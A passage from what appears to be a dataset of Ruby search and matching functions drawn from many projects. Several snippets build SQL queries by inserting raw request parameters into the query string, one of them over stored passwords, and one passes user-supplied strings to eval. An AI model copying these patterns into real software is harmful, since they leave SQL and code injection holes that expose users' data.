end.select { |n| n[:similarity] > 0 }.sort_by { |n| -n[:similarity] }\n\n LOGGER.info \"most similar accounts: #{suggestions}\"\n\n return suggestions\n end", "def article_match? (query, article_title)\n found = false\n return true if query.empty?\n temp_article = article_title.downcase\n query.each do |kw|\n pattern = Regexp.new /.*#{kw.downcase}.*/\n found = true if temp_article =~ pattern\n end\n found\nend", "def fetch_ror_matches(name:)\n return [] unless name.present?\n\n OrgSelection::SearchService.search_externally(search_term: name).select do |hash|\n # If the natural language processing score is <= 25 OR the\n # weight is less than 1 (starts with or includes the search term)\n hash.fetch(:score, 0) <= 25 && hash.fetch(:weight, 1) < 2\n end\n end", "def find\n puts params[:search_string]\n @results = Clientworkout.where(client_name: params[:search_string])\n #@results = Clientworkout.where('lower(client_name)=?' params[:search_string])\n end", "def search\n end", "def search(keywords)\n\n # Create key pool\n @tmp = keywords.split(\" \")\n\n # Check if data pool contain any key of key pool\n @tmp.each do |k|\n\n # Create data pool\n @tmp_data = \"#{self.id} #{self.name} #{self.link} #{self.description}\"\n\n # If contained then return true\n if(@tmp_data.include? k)\n return true\n end\n end\n\n # If not contained then return false\n return false\n end", "def matches? (search)\n if (search.nil? || search == \"\")\n return true\n end\n search = search.gsub(/[^0-9a-z ]/i, '').downcase\n searches = search.split(' ')\n \n searches.each do |word|\n word += ' '\n title = self.title.nil? ? ' ' : self.title.gsub(/[^0-9a-z ]/i, '').downcase + ' '\n description = self.description.nil? ? ' ' : self.description.gsub(/[^0-9a-z ]/i, '').downcase + ' '\n venue_name = self.venue.name.nil? ? ' ' : self.venue.name.gsub(/[^0-9a-z ]/i, '').downcase + ' '\n if !(title.include?(word) || description.include?(word) || venue_name.include?(word))\n return false\n end\n end\n\n return true\n end", "def searching\n prepare_phrases.each do |phrase|\n searching_single(phrase)\n end\n end", "def search(string)\n if not @open\n raise Exception, \"The library is not open.\", caller\n elsif string.empty? || string.length < 4\n output = \"Search string must contain at least four characters.\"\n else\n results = @books.select { |k,book| \n (book.get_title().downcase.include?(string.downcase) || book.get_author().downcase.include?(string.downcase)) && book.get_due_date() == nil\n }\n\n if results.count > 0\n output = \"\"\n # make sure it only returns unique results\n results.to_a.uniq { |k,b| \n b.get_author() && b.get_title() \n }.each { |k,b| output = output + \"#{b.to_s}\\n\" }\n else\n output = \"No books found.\"\n end\n end\n output\n end", "def matches(name, latitude, longitude, category = nil)\n category_id = category.id if category\n \n # Want to append the distance and similarity rankings.\n matched_places = Hash[*(many.matches(name, latitude, longitude, category_id).map {|r| [r['id'], r]}).flatten]\n find_from_search(*matched_places.keys).map do |place|\n if place\n if matched_places[place.id]\n place.distance_in_meters = matched_places[place.id]['distance_in_meters'] \n place.name_similarity = matched_places[place.id]['name_similarity'] \n end\n place\n end\n end\n end", "def search(word)\n results = []\n @books.each {|item| results << item if item[0].downcase.include?(word) }\n results.empty? ? (puts \"Search returned no results...\") : (results.each {|item| puts \"#{item[0]} (#{item[1]})\"})\n end", "def search\n @matcher = request.raw_post.delete(\"=\").strip || request.query_string.delete(\"=\").strip\n @cpt_codes = CptCode.find_by_sql(\"SELECT * FROM cpt_codes WHERE \" +\n \"(short_description LIKE '%#{@matcher.upcase}%' OR code LIKE '%#{@matcher.upcase}%') AND \" +\n \"id IN (SELECT cpt_code_id FROM cpt_charges WHERE practice_id = #{session[:practice_id]})\") \n if @cpt_codes.size > 0 \n render :partial=> 'selected_list'\n else \n render :text=> \"<b>No match Found</b>\"\n end \n end", "def custom_search(params_list)\n search_terms = params_list\n #print \"\\n\\n\\n***#{search_terms.size}***\\n\\n\\n\" ==> gives # of letters in the :query\n search_terms_array = search_terms.split(' ')\n \n ids = Array.new\n \n for word in search_terms_array\n word = word.singularize()\n isaColorWord = Color.find(:all, :conditions => [\"name = ?\", word])\n if isaColorWord.size > 0 #The size should only ever be 1\n ids.concat(Listing.connection.select_all(\"select distinct listings.id from listings\n inner join colors_listings on listings.id = colors_listings.listing_id\n where colors_listings.color_id = \\'\" + isaColorWord[0].id.to_s + \"\\'\").map{|i| i['id'].to_i})\n \n else\n p_word = '%' + word + '%'\n temp_ids = Listing.connection.select_all('select distinct listings.id \n from listings, fabrics, themes, patterns where \n listings.fabric_type = fabrics.id and \n listings.theme = themes.id and \n listings.pattern = patterns.id and \n concat(fabrics.fabric_type, \\'////\\', themes.name, \n \\'////\\', patterns.pattern_type, \\'////\\', listings.description) \n like \\'' + p_word + '\\'').map{|i| i['id'].to_i}\n if temp_ids.size > 0 \n ids.concat(temp_ids)\n else\n ids.concat(Listing.find(:all, :conditions => Listing.conditions_by_like(word)))\n end\n end\n \n end #for\n \n ids\n Listing.find(ids)\n #print \"\\n\\n\\n***293 #{ids.size}***\\n\\n\\n\"\n \n end", "def exact_match\n @solr_data[:exact_match]\n end", "def myfind (str)\n if str.match(/^[[:graph:]]+$/) # name of the vaccine\n Vaccine.where(\"lower(name) like ?\", \"%#{str.downcase}%\")\n end\n end", "def search(dbpath, querystring, offset: 0, pagesize: 10)\n # offset - defines starting point within result set\n # pagesize - defines number of records to retrieve\n\n # Open the database we're going to search.\n db = Xapian::Database.new(dbpath)\n\n # Set up a QueryParser with a stemmer and suitable prefixes\n queryparser = Xapian::QueryParser.new\n queryparser.stemmer = Xapian::Stem.new('en')\n queryparser.stemming_strategy = Xapian::QueryParser::STEM_SOME\n queryparser.add_prefix('title', 'S')\n queryparser.add_prefix('description', 'XD')\n # and add in range processors\n queryparser.add_rangeprocessor(PopulationRangeProcessor.new(3, 500_000, 50_000_000))\n # Start of date example code\n queryparser.add_rangeprocessor(Xapian::DateRangeProcessor.new(2, Xapian::RP_DATE_PREFER_MDY, 1860))\n queryparser.add_rangeprocessor(Xapian::NumberRangeProcessor.new(1))\n # End of date example code\n # And parse the query\n query = queryparser.parse_query(querystring)\n\n # Use an Enquire object on the database to run the query\n enquire = Xapian::Enquire.new(db)\n enquire.query = query\n\n # And print out something about each match\n matches = []\n enquire.mset(offset, pagesize).matches.each do |match|\n fields = JSON.parse(match.document.data)\n printf \"%<rank>i: #%<docid>3.3i %<name>s %<date>s\\n Population %<pop>s\\n\",\n rank: match.rank + 1,\n docid: match.docid,\n name: fields['name'],\n date: format_date(fields['admitted'].to_s),\n pop: format_numeral(fields['population'].to_i)\n matches << match.docid\n end\n log_matches(querystring, offset, pagesize, matches)\nend", "def search\n @matcher = request.raw_post.delete(\"=\").strip || request.query_string.delete(\"=\").strip\n @icd_codes = IcdCode.find_by_sql(\"SELECT * FROM icd_codes WHERE \" +\n \"(short_description LIKE '%#{@matcher.upcase}%' OR code LIKE '%#{@matcher.upcase}%') AND \" +\n \"id IN (SELECT icd_code_id FROM practice_icd_lists WHERE practice_id = #{session[:practice_id]})\") \n\n\n if @icd_codes.size > 0 \n render :partial=> 'selected_list'\n else \n render :text=> \"<b>No match Found</b>\"\n end \n end", "def search\n\n end", "def init_results_for_search\n # try to find asqs and tags that match search string\n search_string = params[:search].downcase\n @title = \"Search for \\\"#{params[:search]}\\\"\"\n @matched_names = search_asqs_by_column('name', search_string)\n @matched_queries = search_asqs_by_column('query', search_string)\n @matched_tags = Asq.tagged_with(search_string.split(' '), wild: true)\n @matched_creator = Asq.where(created_by: search_string)\n @matched_modifier = Asq.where(modified_by: search_string)\n sort_matched_arrays\n redirect_if_single_result\n end", "def best_match(name)\n matches = Name.with_correct_spelling.where(search_name: name)\n return matches.first if matches.any?\n\n matches = Name.with_correct_spelling.where(text_name: name)\n accepted = matches.reject(&:deprecated)\n matches = accepted if accepted.any?\n nonsensu = matches.reject { |match| match.author.start_with?(\"sensu \") }\n matches = nonsensu if nonsensu.any?\n matches.first\n end", "def try_exact_match(review)\n possible_titles = review.ars_titles.collect(&:title)\n exact_match = false\n possible_titles.each do |possible_title|\n puts \"TRYING #{possible_title} for exact match\"\n \n # TODO: self here instead of class?\n if GiantLookup.new.is_title? possible_title\n return GiantLookup.new.find_games_by_title(possible_title).first\n end\n end\n \n # nothing found, oh well\n return nil\n end", "def match!\n clear!\n tighten_search_area\n @benchmark = Benchmark.measure do\n send(strategy_method)\n end\n save_match_file if highlight_match\n return has_match?\n end", "def get_matching_rows(column, pattern)\n jso = Hash.new() \n jss = self.get_structure()\n db_column = nil\n # Is the column recognized?\n if jss.has_key? column then\n db_column = jss[column].split(\"/\")[1]\n else\n return MIDB::Interface::Server.json_error(400, \"Bad Request\")\n end\n \n # Connect to database\n dbe = MIDB::API::Dbengine.new(@engine.config, @db)\n dblink = dbe.connect()\n rows = dbe.query(dblink, \"SELECT * FROM #{self.get_structure.values[0].split('/')[0]};\")\n if rows == false\n return MIDB::Interface::Server.json_error(400, \"Bad Request\")\n end\n # Iterate over all rows of this table\n rows.each do |row|\n # Does this row match?\n bufd = jss[column]\n b_table = bufd.split(\"/\")[0]\n b_field = bufd.split(\"/\")[1]\n # The column is in another table, let's find it\n if bufd.split(\"/\").length > 2 \n b_match = bufd.split(\"/\")[2]\n b_m_field = b_match.split(\"->\")[0]\n b_r_field = b_match.split(\"->\")[1]\n\n bquery = dbe.query(dblink, \"SELECT #{b_field} FROM #{b_table} WHERE (#{b_m_field}=#{row[b_r_field]} AND #{db_column} LIKE '%#{pattern}%');\")\n else\n # It's in the same main table, let's see if it matches\n bquery = dbe.query(dblink, \"SELECT #{b_field} FROM #{b_table} WHERE (id=#{row['id']} AND #{db_column} LIKE '%#{pattern}%');\")\n end\n\n # Unless the query has been successful (thus this row matches), skip to the next row\n unless dbe.length(bquery) > 0\n next\n end\n\n jso[row[\"id\"]] = self.get_structure\n\n self.get_structure.each do |name, dbi|\n table = dbi.split(\"/\")[0]\n field = dbi.split(\"/\")[1]\n # Must-match relations (\"table2/field/table2-field->row-field\")\n if dbi.split(\"/\").length > 2\n match = dbi.split(\"/\")[2]\n matching_field = match.split(\"->\")[0]\n row_field = match.split(\"->\")[1]\n query = dbe.query(dblink, \"SELECT #{field} FROM #{table} WHERE #{matching_field}=#{row[row_field]};\")\n else\n query = dbe.query(dblink, \"SELECT #{field} from #{table} WHERE id=#{row['id']};\")\n end\n if query == false\n next\n end\n jso[row[\"id\"]][name] = dbe.length(query) > 0 ? dbe.extract(query,field) : \"unknown\"\n jso[row[\"id\"]][name] = @hooks.format_field(name, jso[row[\"id\"]][name])\n end\n end\n @hooks.after_get_all_entries(dbe.length(rows))\n return jso\n end", "def find(items)\n query_array = query.gsub(/_/,\" \").downcase.split\n\n results = []\n items.each{ |item|\n match_all = true\n query_array.each{ |query|\n description = item.description.gsub(\"/,/\",\"~\")\n if !item.name.gsub(/_/,\" \").downcase.include?(query) and !description.gsub(/_/,\" \").downcase.include?(query)\n match_all = false\n else\n if description.gsub(/_/,\" \").downcase.include?(query)\n self.description_map[item] = map_description_part(description, query)\n else\n self.description_map[item] = if item.description.size>=30 then item.description[0..27] + \"...\" else item.description end\n end\n end\n }\n if match_all\n results.push(item)\n end\n }\n\n self.found_items = results\n if self.found_items.size == 0 and self.query.size >= 2\n suggest_other_query(items, query)\n end\n\n end", "def exact_find(label)\n do_query(\"SELECT ad.label, a.id, a.username, a.password, a.date_created, a.date_updated, ad.description, ad.link,\n sq.question, sq.answer, a.uuid, a.sys_user \n FROM acct_desc ad JOIN acct a ON a.id = ad.acct_id LEFT JOIN security_question sq ON a.id = sq.acct_id\n WHERE ad.label like '#{label}' AND a.sys_user = '#{ENV['USER']}'\n ORDER BY ad.date_updated;\",\n %w[label id username password date_created date_updated description link question answer uuid sys_user])\n end", "def auto_suggest(input,sports_reg_exp)\n similarity = 0\n sport_suggestion = \"\"\n # iterates through each regular expression option\n\n return \"\" if input == \" \" || input == \"\"\n sports_reg_exp.each do |sport, reg_exp|\n #hashmap to numerize the similarity\n count = Hash.new 0\n # hits on matches and adds to hash the size of the match\n input.scan(reg_exp).each {|elm| count[elm.length] += 1}\n temp_similarity = 0;\n count.each do |k,v|\n # longer matches are given more weight in the sum\n count[k] = k ** v\n temp_similarity += count[k]\n end\n # identifies the most similar spot\n if temp_similarity > similarity\n sport_suggestion = sport\n similarity = temp_similarity\n elsif temp_similarity == similarity\n # returns different sports for mistyped input\n sport_suggestion = sport if rand(0..1) == 1\n end\n end\n # returns empty string if not similar enough\n sport_suggestion = \"\" if (similarity == 1 || (similarity <= 3 && sport_suggestion.length > 15))\n sport_suggestion\nend", "def match(params)\n query = params[:query].downcase\n limit = params[:limit]\n limit = limit.to_i unless limit.nil?\n results = find_exact_matches(query, limit, params)\n end", "def fuzzy_arel_match(column, query, lower_exact_match: false)\n query = query.squish\n return unless query.present?\n\n words = select_fuzzy_words(query)\n\n if words.any?\n words.map { |word| arel_table[column].matches(to_pattern(word)) }.reduce(:and)\n else\n # No words of at least 3 chars, but we can search for an exact\n # case insensitive match with the query as a whole\n if lower_exact_match\n Arel::Nodes::NamedFunction\n .new('LOWER', [arel_table[column]])\n .eq(query)\n else\n arel_table[column].matches(sanitize_sql_like(query))\n end\n end\n end", "def makeSearch #:doc:\n # beginning of sql query string\n sql = @select_part1 + \" \" + @select_part2\n\n begin\n @hash_in_where = \"\"\n \n if @context_hash != nil\n \n # If 'user' parameter given, only files owned by 'user' can be in search results.\n only_these_users_in_where = \"\"\n if @only_these_users != nil\n only_these_users_in_where = \" users.username IN (\"\n users = @only_these_users.split(' ')\n users.each_with_index do |x, i|\n if i == 0\n only_these_users_in_where += \"'\" + x + \"'\"\n else\n only_these_users_in_where += ', ' + \"'\" + x + \"'\"\n end\n end\n \n only_these_users_in_where += \") AND \"\n end\n \n \n # Find devfiles that have queried context_hash\n devfiles = Devfile.find_by_sql(\"SELECT devfiles.id as devfile_id, devfiles.device_id, metadatas.devfile_id, metadatas.metadata_type_id,\n metadatas.value, metadata_types.id, metadata_types.name,\n devices.id, devices.user_id, users.id, users.username \n FROM devfiles, metadatas, metadata_types, devices, users\n WHERE metadatas.value = '\"+@context_hash+\"' AND\n metadata_types.name = 'context_hash' AND\n devfiles.id = metadatas.devfile_id AND\n devices.id = devfiles.device_id AND\n devices.user_id = users.id AND #{only_these_users_in_where}\n metadatas.metadata_type_id = metadata_types.id\")\n \n if devfiles != nil && devfiles.size > 0\n # Add id:s of devfiles that will be included into results, because these devfiles belong to queried context\n @hash_in_where = \" OR devfiles.id IN ( \"\n \n @devfiles_in_context = Array.new\n \n devfiles.each_with_index do |x, i|\n @devfiles_in_context.push(x.devfile_id)\n if i == 0\n @hash_in_where += x.devfile_id.to_s\n else\n @hash_in_where += \", \" + x.devfile_id.to_s\n end \n end\n @hash_in_where += \" )\"\n end\n end\n puts @hash_in_where\n available_files_only_in_where = \"\"\n \n if @availableFilesOnly == true\n available_files_only_in_where = \" AND ( blobs.uploaded = 1 OR devices.last_seen >= '#{device_online_timeout.to_s(:db)}' ) \"\n end\n \n show_deleted_files_in_where = \"\"\n \n if @showDeletedFiles == false && @queryparams[:what_to_get] =~ /files/i\n show_deleted_files_in_where = \" AND devfiles.deleted = 0 \"\n end\n \n # make the where-part of the sql query\n if not @versionlist_conditions\n makeConditions\n if @condition_string != \"\" || @hash_in_where != \"\"\n sql += \" ( \" + @condition_string + @hash_in_where + \" ) \"\n else\n sql += \" false \"\n end\n sql += show_deleted_files_in_where + available_files_only_in_where + @default_id_conditions\n else\n sql += \" \" + @versionlist_conditions + \" \" + @default_id_conditions\n end\n rescue => exp\n putsE(exp)\n raise exp\n end\n\n @sql = sql\n \n # sorting order\n @sql_sorting = \"\"\n if not @versionlist_sorting\n @sql_sorting = getSortingOrder\n else\n @sql_sorting = @versionlist_sorting\n end\n \n sql += \" ORDER BY \" + @sql_sorting\n puts \"Initial SQL: #{sql}\"\n \n @results_per_page = 100 # default\n @show_page = 1 # default\n if @queryparams[:format] == \"atom\"\n @results_per_page = 100 #default maxresults for atom-feed\n if @queryparams[:maxresults] and @queryparams[:maxresults] =~ /^\\d{1,}$/\n @results_per_page = @queryparams[:maxresults]\n end\n else\n if @queryparams[:perpage]\n @results_per_page = @queryparams[:perpage].to_i\n end\n if @queryparams[:page] and @queryparams[:page] =~ /^\\d{1,}$/\n @show_page = @queryparams[:page]\n end\n end\n\n # will_paginate uses sql-subqueries to get COUNT of rows. Subqueries are NOT\n # supported by Mysql versions < 4.1. So we have to do the counting by ourselves...\n count = sql.gsub(@select_part1, \"SELECT COUNT(*) AS entries\").gsub(/\\sORDER BY.*$/, \"\").gsub!(/\\:\\w+/) do |s|\n \"'\" + @condition_values[s.gsub(\":\", \"\").intern].to_s + \"'\"\n end\n \n \n \n if @queryparams[:what_to_get] =~ /files/i\n # entries = Devfile.count_by_sql(count)\n\n # Pagination will be made later, with new sql query\n @results = Devfile.find_by_sql [sql, @condition_values]#,\n# :page => @show_page,\n# :per_page => @results_per_page,\n# :total_entries => entries\n # Remove files from results that user is not allowed to access\n checkFileRightstoResults \n elsif @queryparams[:what_to_get] =~ /devices/i\n entries = Device.count_by_sql(count)\n @results = Device.paginate_by_sql [sql, @condition_values],\n :page => @show_page,\n :per_page => @results_per_page,\n :total_entries => entries\n # SHOULD EVERYONE BE ALLOWED TO SEE ALL DEVICES?\n \n elsif @versionlist_conditions\n entries = Blob.count_by_sql(count)\n @results = Blob.paginate_by_sql [sql, @condition_values],\n :page => @show_page,\n :per_page => @results_per_page,\n :total_entries => entries\n end\n end", "def complete_search\n if is_boolean? && !!@search_value != @search_value\n puts 'No result found'\n return\n end\n if NUMBER_TO_OBJECT_MAP[@object].column_names.include?(@search_term)\n results = NUMBER_TO_OBJECT_MAP[@object].where(\"#{@search_term}\" => @search_value)\n else\n results = NUMBER_TO_OBJECT_MAP[@object].joins(@search_term.to_sym).where(\"#{@search_term}\" => { value: @search_value })\n end\n \n if !results.empty?\n puts 'Result'\n puts '-------------'\n results.each do |result|\n result.render_object\n end\n else\n puts 'No result found'\n end\n results\n end", "def similar_cells\n prefix = ssdeep.split(':').first.to_i\n prefixes = [prefix, prefix * 2]\n prefixes.push(prefix / 2) unless prefix.odd?\n prefix_where = prefixes.map {|p| \"ssdeep LIKE '#{p}:%'\"}.join(' OR ')\n CodeCell\n .includes(:notebook)\n .where(prefix_where)\n .where.not(id: id)\n .map {|cell| [cell, Ssdeep.compare(ssdeep, cell.ssdeep)]}\n .reject {|_cell, score| score.zero?}\n .sort_by {|_cell, score| -score}\n end", "def compare\n #https://github.com/superjustin/zip-codes-for-rails\n @compare = Search.limit(3).find(params[:compare])\n end", "def search\n end", "def search\n end", "def search\n end", "def search\n end", "def search\n end", "def search\n end", "def search\n end", "def search\n end", "def search\n end", "def search\n end", "def dbsearch(args=[])\n\t\t\t# Make sure we form the class name correctly\n\t\t\tclass_name = args[0].downcase\n\t\t\tclass_name[0] = class_name[0].capitalize\n\t\t\tclass_name = class_name.singularize\n\t\t\t\t\t\t\n\t\t\tprint_deb (\"Class name: #{class_name}\")\n\t\t\t \n\t\t\tbegin\n\t\t\t\teval(\"Msf::DBManager::#{class_name}.respond_to?(:find)\")\n\t\t\trescue Exception => e\n\t\t\t\t#print_error \"Error while querying database. Make sure this table\"\n\t\t\t\t#print_error \"and column combination actually exists in the database.\"\n\t\t\t\tprint_error e.to_s\n\t\t\t\treturn\n\t\t\tend\n\t\t\t\n\t\t\tif args.count == 1\n\t\t\t\t@working_set = eval(\"Msf::DBManager::#{class_name}.all\")\n\t\t \telse\n\t\t\t\tfilters = []\n\t\t\t\tsub_items_list = []\n\t\t\t\t@working_set = []\t\t\t\n\t\t\n\t\t\t\targs.shift ## drop the table from the string\t\t\n\t\t\t\t\n\t\t\t\t# Parse argument string\n\t\t\t\targs.each_with_index do |arg,i|\n\t\t\t\t\n\t\t\t\t\tprint_deb \"parsing arg #{arg}\"\n\t\t\t\t\n\t\t\t\t\tif arg.downcase =~ /where/\n\t\t\t\t\t\tfilters << args[i+1]\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tif arg.downcase =~ /or/\n\t\t\t\t\t\tfilters << args[i+1]\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tif arg.downcase =~ /contain/\n\t\t\t\t\t\tsub_items_list << args[i-1]\n\t\t\t\t\t\tfilters.pop # remove the last item from the filter\n\t\t\t\t\t\tfilters << args[i+1]\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t# Go get the items\n\t\t\t\tquery_string = \"Msf::DBManager::#{class_name}.all\"\n\t\t\t\titem_set = eval(query_string)\n\t\t\t\t\n\t\t\t\t### \n\t\t\t\t## \tParse filters\n\t\t\t\t###\n\t\t\t\tequal_conditions = {}\n\t\t\t\tmatch_conditions = {}\n\t\n\t\t\t\tfilters.each do |filter|\n\t\t\t\t\n\t\t\t\t\t# Split based on the delimiter\n\t\t\t\t\tif filter =~ /=/\n\t\t\t\t\t\tequal_condition = filter.split(\"=\")\n\t\t\t\t\t\t#equal_condition[-1] = nil if equal_condition[-1] = \"nil\"\n\t\t\t\t\t\tequal_conditions[equal_condition.first] = equal_condition.last\n\t\t\t\t\tend\n\n\n\t\t\t\t\t# Split based on the delimiter\n\t\t\t\t\tif filter =~ /~/\n\t\t\t\t\t\tmatch_condition = filter.split(\"~\")\n\t\t\t\t\t\tmatch_conditions[match_condition.first] = match_condition.last\n\t\t\t\t\tend\t\n\t\t\t\tend\t\n\n\t\t\t\tprint_status \"Searching for #{class_name} with conditions...\"\n\n\t\t\t\t# Tell the user what their filter looks like\n\t\t\t\tequal_conditions.each_pair do |key,val|\n\t\t\t\t\tprint_status \"Exact: #{key} = #{val}\"\n\t\t\t\tend\n\n\t\t\t\t# Tell the user what their filter looks like\n\t\t\t\tmatch_conditions.each_pair do |key,val|\n\t\t\t\t\tprint_status \"Match: #{key} =~ /#{val}/\"\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t### \n\t\t\t\t## \tEnd Parsing\n\t\t\t\t###\n\n\t\t\t\t###\n\t\t\t\t## \tGet the right collection if we include sub-items\n\t\t\t\t###\n\t\t\t\twhile sub_items_list.count > 0 do\n\t\t\t\t\tsub_items = sub_items_list.shift\n\t\t\t\t\tprint_deb \"Handling a sub item : #{sub_items}!\"\n\t\t\t\t\t#item_set = eval(\"item.#{sub_items}\")\n\t\t\t\t\ttemp_item_set = []\n\t\t\t\t\titem_set.each do |item|\n\t\t\t\t\t\ttemp_item_set = temp_item_set + (eval(\"item.#{sub_items}\"))\n\t\t\t\t\tend\t\t\t\t\t\n\t\t\t\t\titem_set = temp_item_set\n\t\t\t\t\t\n\t\t\t\t\tprint_deb \" Item set is now: #{item_set.count} objects\"\n\t\t\t\t\t\n\t\t\t\tend\n\n\t\t\t\t#print_deb item_set.inspect\n\t\t\t\t#print_deb item_set.each { |item| puts item.inspect }\n\n\t\t\t\t###\n\t\t\t\t##\tFilter items\n\t\t\t\t###\n\n\t\t\t\titem_set.each do |item|\n\t\t\t\t\t# Look through for the user-specified filters\n\t\t\t\t\tequal_conditions.each_pair do |method,value|\n\t\t\t\t\t\t# we should get an object by looking for the \n\t\t\t\t\t\t# user-specified filter item (unless it doesn't\n\t\t\t\t\t\t# exist in the database...)\n\t\t\t\t\t\tdb_object = eval(\"item.#{method}\") # get the value we want to examine\n\n\t\t\t\t\t\t# handle the case when people are looking for nil-like values\t\t\t\t\t\n\t\t\t\t\t\tif self.is_nil_like?(value)\n\t\t\t\t\t\t\t#print_deb \"#{value} IS NIL-LIKE, checking for nil-like db object\"\n\t\t\t\t\t\t\t# if they are searching for something akin to nil then\n\t\t\t\t\t\t\t# let's match if the db_object entry is akin to nil\n\t\t\t\t\t\t\t@working_set << item if self.is_nil_like?(db_object)\n\t\t\t\t\t\telsif db_object.to_s == value\n\t\t\t\t\t\t\t# otherwise we do a normal comparison\n\t\t\t\t\t\t\t@working_set << item\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\t\t# Look for match conditions\n\t\t\t\t\tmatch_conditions.each_pair do |method,value|\n\t\t\t\t\t\t# we should get an object by looking for the \n\t\t\t\t\t\t# user-specified filter item (unless it doesn't\n\t\t\t\t\t\t# exist in the database...)\n\t\t\t\t\t\tdb_object = eval(\"item.#{method}\") # get the value we want to examine\n\t\t\t\t\t\t\n\t\t\t\t\t\t# handle the case when people are looking for nil-like values\n\t\t\t\t\t\t# especially since doing a regex comparison on nil is kinda rough...\t\t\t\t\n\t\t\t\t\t\tif is_nil_like?(value)\n\t\t\t\t\t\t\t# if they are searching for something akin to nil then\n\t\t\t\t\t\t\t# let's match if the db_object entry is akin to nil\n\t\t\t\t\t\t\t@working_set << item if self.is_nil_like?(db_object)\n\t\t\t\t\t\telsif db_object.to_s =~ Regexp.new(value,true)\n\t\t\t\t\t\t\t# otherwise we do a normal regex comparison\n\t\t\t\t\t\t\t@working_set << item\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn @working_set\n\t\tend", "def similar?(a, b) # rubocop:disable Naming/UncommunicativeMethodParamName\n Levenshtein.normalized_distance(a.downcase, b.downcase) < 0.3 # chosen quasi-randomly ;)\n end", "def searching\n \t@temp = Account.all\n \t@own_temp = Account.find_by_aid(session[:id])\n \t@temp.delete(@own_temp)\n \t\n \t@after_lowercase = (params[:search][:search_input]).downcase\n \t@splited = @after_lowercase.split\n \t@first_s = params[:search]\n \t@second_s = params[:search_input]\n \n \t@result = Array.new\n \t\n \tif (@splited.size() > 2)\n \t\t\tflash[:error] = \"Too many arguments... follow this format : first_name last_name\"\n \t\t\tredirect_to :action => :profile\n \telsif (@splited.size() == 0)\n \t\t\tflash[:error] = \"I need at least one argument!!\"\n \t\t\tredirect_to :action => :profile\n \t\t\t/(jon){1}/\n \t\t\t\n \telsif (@splited.size() == 1) \t\n \t\t@temp.each do |re| \n \t\t\tif (re.first_name.downcase =~ /#{@splited[0]}{1}/)\n \t\t\t\t@result.push(re)\n \t\t\telsif (re.last_name.downcase =~ /#{@splited[0]}{1}/ && false == @result.include?(re))\n \t\t\t\t@result.push(re)\n \t\t\tend\n \t\tend\n \telsif (@splited.size() == 2)\t\n \t\t@temp.each do |re|\n \t\t\tif (re.first_name.downcase =~ /#{@splited[0]}{1}/ || re.last_name.downcase =~ /#{@splited[1]}{1}/)\n \t\t\t\t@result.push(re)\n \t\t\tend\n \t\tend\n \t\n \tend\n \t\n\n \tif @result == nil\n \t\t\tflash[:error] = \"no match\"\n \t\t\tredirect_to :action => :profile\n \tend\n\n end", "def test_like_search_condition\n search_conditions = [[\"Wes\", :like]]\n query_fields = {'some_table.first_name' => :string} \n conditions = build_query(search_conditions, query_fields) \n \n assert_equal '(some_table.first_name LIKE :keyword_0)', conditions.first\n assert_equal '%Wes%', conditions.last[:keyword_0]\n end", "def search(term, opts = {})\n raise \"Index not found at path #{@index_path}\" unless File.exists? @index_path\n\n results = []\n\n query = make_query(term, opts[:exact])\n\n @index.execute(\"SELECT sequence_number, kanji, kana, senses, bm25(search) as score FROM search WHERE search MATCH ? LIMIT ?\", query, opts[:max_results]) do |row|\n entry = Entry.from_sql(row)\n score = 0.0\n\n is_exact_match = entry.kanji.include?(term) || entry.kana.include?(term)\n score = 1.0 if is_exact_match\n\n should_add = !opts[:exact] || (opts[:exact] && is_exact_match)\n\n # add the result\n results << [score, entry] if should_add\n end\n\n # Sort the results by first column (score) and return only the second column (entry)\n results.sort_by { |entry| -entry[0] }.map { |entry| entry[1] }\n end", "def test_like_two_search_condition\n search_conditions = [[\"Wes\", :like],[\"Hays\", :like]]\n query_fields = {'some_table.first_name' => :string,'some_table.last_name' => :string} \n conditions = build_query(search_conditions, query_fields) \n \n fields = ['first_name','last_name']\n regExs = [build_regex_for_like(fields,'keyword_0'), \n build_regex_for_like(fields,'keyword_1')].join('[ ]AND[ ]')\n \n assert_match /^#{regExs}$/, conditions.first\n assert_equal '%Wes%', conditions.last[:keyword_0]\n assert_equal '%Hays%', conditions.last[:keyword_1]\n end", "def search(games, search_term)\n search_index = games.find_index(search_term)\n search_result = if search_index\n \"Game #{search_term} found: #{games[search_index]} at index #{search_index}.\"\n else\n \"Game #{search_term} not found.\"\n end\n return search_result\nend", "def search(query)\n name_match = PRODUCTS.select do |name, price|\n name[:name].downcase.include?(query[:q])\n end\n\n name_match.select do |product|\n product[:price] >= query[:price_min] && product[:price] <= query[:price_max]\n end\nend", "def search_by_db(user_id, keywords, tags, scores, sort, page)\n condition = condition_for_db(user_id)\n keywords.each do |keyword|\n keyword = '%' + keyword + '%'\n condition = condition.where(QUERY[:keyword], keyword, keyword)\n end\n read(condition, user_id, tags, scores, sort, page)\n end", "def searchtermForSql(term, sql_column_name)\n if term !~ /[^\\w\\.\\s\\-\\_\\+]/\n # split given values into an array and add some chars needed in the sql query\n term.gsub!(\"+\", \" \")\n values = term.split(\" \").join(\"%' '%\")\n values = (\"'%\" + values + \"%'\").split(\" \")\n if term == \"\" or term =~ /^\\s$/\n values = [\"'%'\"]\n end\n\n #combine the searchstring and do the search\n searchstring = sql_column_name + \" LIKE \" + values.first\n values.each_index do |i|\n next if i == 0\n searchstring += \" OR \" + sql_column_name + \" LIKE \" + values[i]\n end\n return searchstring\n end\n end" ]
